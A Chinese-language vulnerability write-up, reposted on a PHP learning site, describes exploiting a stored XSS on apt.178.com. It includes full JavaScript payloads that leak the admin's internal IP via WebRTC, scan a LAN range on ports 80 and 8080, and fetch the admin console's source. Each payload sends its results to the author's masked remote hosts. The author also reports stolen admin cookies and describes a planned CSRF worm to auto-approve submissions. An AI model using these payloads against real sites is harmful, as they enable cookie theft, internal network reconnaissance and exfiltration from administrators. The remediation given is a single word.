网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

通过一个存储XSS探测178内网 - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:40 作者:xxadmin 阅读:

[导读] 通过一个存储XSS探测178内网 附payload 站点:http://apt.178.com/ 在添加app应用或者铃声资源的时候,没有对输入进行过滤。 如下 上传之后需要等管理员审核后才会在前台显示出。 那就可以...

通过一个存储XSS探测178内网 附payload

站点:http://apt.178.com/

在添加app应用或者铃声资源的时候,没有对输入进行过滤。

如下
 

1.png


上传之后需要等管理员审核后才会在前台显示出。

那就可以盲打管理了。

成功收到cookie等信息,好激动
 

2.png

但是后台却做了限制
 

3.png

好吧。就这样结束总感觉不太好。

然后就想用xss做一些其他的事。。

首先来获取内网ip吧

借鉴了0x_jin牛的payload,然后本地随手改了一下,放在某渣渣xss平台。xss平台可以用的payload为

福利:


var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection)(function() {
    var rtc = new RTCPeerConnection({
        iceServers: []
    });
    if (window.mozRTCPeerConnection) {
        rtc.createDataChannel('', {
            reliable: false
        });
    };
    rtc.onicecandidate = function(evt) {
        if (evt.candidate) grepSDP(evt.candidate.candidate);
    };
    rtc.createOffer(function(offerDesc) {
        grepSDP(offerDesc.sdp);
        rtc.setLocalDescription(offerDesc);
    }, function(e) {
        console.warn("offer failed", e);
    });
    var addrs = Object.create(null);
    addrs["0.0.0.0"] = false;

    function updateDisplay(newAddr) {
        if (newAddr in addrs) return;
        else addrs[newAddr] = true;
        var displayAddrs = Object.keys(addrs).filter(function(k) {
            return addrs[k];
        });
        var address = displayAddrs.join(" or perhaps ") || "n/a";
        sendip(address);
    }

    function grepSDP(sdp) {
        var hosts = [];
        sdp.split('\r\n').forEach(function(line) {
            if (~line.indexOf("a=candidate")) {
                var parts = line.split(' '),
                    addr = parts[4],
                    type = parts[7];
                if (type === 'host') updateDisplay(addr);
            } else if (~line.indexOf("c=")) {
                var parts = line.split(' '),
                    addr = parts[2];
                updateDisplay(addr);
            }
        });
    }
})();

function sendip(ipaddress) {
    alert(ipaddress);
    var url = "http://*****.com/index.php?do=api&id={projectId}&address=" + ipaddress;
    var xmlhttp1 = new XMLHttpRequest();
    xmlhttp1.open("GET", url, true);
    xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp1.send(null);
}

然后成功获取到内网的ip信息

内网ip.png


当前ip:192.168.1.111

然后就想探测一下该内网段中存活的主机。在本地测试了一下,如果直接获取1~255的话浏览器略卡。怕被发现就探测110~130之间了。

payload:

function ipsend(ip, netport) {
    var ipdata = ip + ":" + netport;
    var url = "http://*****.sinaapp.com/insert.php?ip=" + ipdata;
    var xmlhttp1 = new XMLHttpRequest();
    xmlhttp1.open("GET", url, true);
    xmlhttp1.send(null);
}

function ipCreate(ip) {
    var ips = ip.replace(/(\d+\.\d+\.\d+)\.\d+/, '$1.');
    for (var i = 100; i <= 130; i++) {       //探测110~130之间
        ElementCreate(ips + i, "80", i);
        ElementCreate(ips + i, "8080", i);
    }
}

function ElementCreate(ip, xport, i) {
    var url = "http://" + ip + ":" + xport;
    var scriptElement = document.createElement("script");
    scriptElement.src = url;
    scriptElement.setAttribute("onload", "ipsend(\'" + ip + "\',\'" + xport + "\')");
    document.body.appendChild(scriptElement);
}
ipCreate("192.168.1.100");

我把获取到的内网ip和端口发送到我的新浪云sae上了。


 

C.png





到这里以后感觉这个内网中好像并没有开发的信息,好像只是负责后台的审核





既然内网这条路不好走,为了响应大乌云的号召。http://zone.wooyun.org/content/18421



所以考虑换个方式。想通过xss获取审核页面的源代码信息,然后提取出审核通过的请求链接。然后在通过一次xss来csrf劫持管理员,在管理打开审核页面的时候,自动发起请求让我提交的应用自动通过,从而达到蠕动到前台来扩大影响。

走起

首先获取http://apt.178.com/console/deb的源代码

payload

 

Connection("console/deb");
function Connection(url) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function() {
        DataSend('a', 'filename getresponse code is : ' + encodeURIComponent(xmlhttp.status));
        if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
            DataSend(encodeURIComponent(url), encodeURIComponent(xmlhttp.responseText));
        }
    }
    xmlhttp.open("GET", url, true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send();
}
function DataSend(fileurl, FileData) {
    var url = "http://*****.sinaapp.com/insert.php?ip=" + FileData;
    var xmlhttp1 = new XMLHttpRequest();
    xmlhttp1.open("POST", url, true);
    xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp1.send("ip=" + FileData);
}

获取到的信息同样的自动请求我的服务端http://*****.sinaapp.com/insert.php来存储

在js中发起两次请求,首先存储http 状态码,其次内容



 

0.png



200.请求成功


但是奇怪的是虽然状态码来了,但是内容却没来。这就让我费解了。服务端数据库中也没有


耽误好久,然后在服务器日志中查到该源码信息



 

html.png

 


解决方案:

过滤

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论